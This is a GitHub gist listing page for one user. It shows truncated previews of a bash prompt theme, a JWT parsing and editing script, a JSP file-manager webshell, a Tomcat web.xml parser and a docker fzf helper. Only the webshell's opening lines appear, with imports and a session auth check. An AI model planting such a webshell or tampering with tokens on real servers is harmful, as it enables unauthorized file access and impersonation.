Skip to content

Instantly share code, notes, and snippets.

@Guilhem7
Guilhem7 / theme.bash
Last active April 19, 2026 04:50
Simple bash themes
#!/bin/bash
# Languages ICON/Colors: java, python, rust, ruby, php, js, go
ICON_LANGUAGE=($'\uedaf' $'\ued1b' $'\ue68b' $'\ue605' $'\ue608' $'\ue781' $'\ue627')
COLORS_LANGUAGE=("" "2;240;219;79" "2;211;69;22" "2;174;20;1" "" "2;240;219;79" "2;41;190;176")
# Icons: Git, Docker, Ubuntu, Folder, Cursor right, Right Angle, Famous Unicode Separator, Branch
ICON_UTILS=($'\ue709' $'\uf21f' $'\U000f0548' $'\ue5ff' $'\u27A4' $'\uef4d' $'\uE0B0' $'\ue0a0'
$'\uf120 ' # Term icon
$'\ue0b6' $'\ue0b4') # Rounded Left Angle, Rounded Right Angle
@Guilhem7
Guilhem7 / jwt.sh
Created February 26, 2026 11:31
Parse Jwt and update keys / values using jq
#!/bin/bash
set -e
## Style
RED='\e[31m'
GREEN='\e[32m'
BLUE='\e[34m'
BOLD='\e[1m'
N='\e[0m'
@Guilhem7
Guilhem7 / file_explorer.jsp
Last active August 2, 2025 12:29
Simple jsp webshell code to use CRUD operations on file (compatible windows and linux, no command exec)
<%@ page language="java" pageEncoding="UTF-8"%>
<%@page import="java.util.*"%>
<%@ page import="java.io.*" %>
<%@ page import="java.net.*" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.nio.file.Path" %>
<%@ page import="java.nio.file.Paths" %>
<%
Boolean isAuth = (session.getAttribute("auth") != null) ? (Boolean) session.getAttribute("auth") : false;
String action = request.getParameter("action");
@Guilhem7
Guilhem7 / parse_tomcat.py
Last active July 1, 2025 22:05
Parse a tomcat web.xml file in order to see which servlet is used for which urls, and which filter(s) are processed on it
#!/usr/bin/env python3
import re
import json
import logging
import argparse
import xml.etree.ElementTree as ET
from rich import print as rprint
from rich.logging import RichHandler
@Guilhem7
Guilhem7 / attach_docker.sh
Last active August 8, 2025 19:10
fzf bash binding to enter runnning container
### Functions to preview docker process
docker_preview_proc(){
AWK_SCRIPT='
BEGIN {
# ANSI color codes
red = "\033[91m"; # Bright Red
blue = "\033[94m"; # Light Blue
green = "\033[92m"; # Bright Green
yellow = "\033[93m"; # Light Yellow
bold = "\033[1m";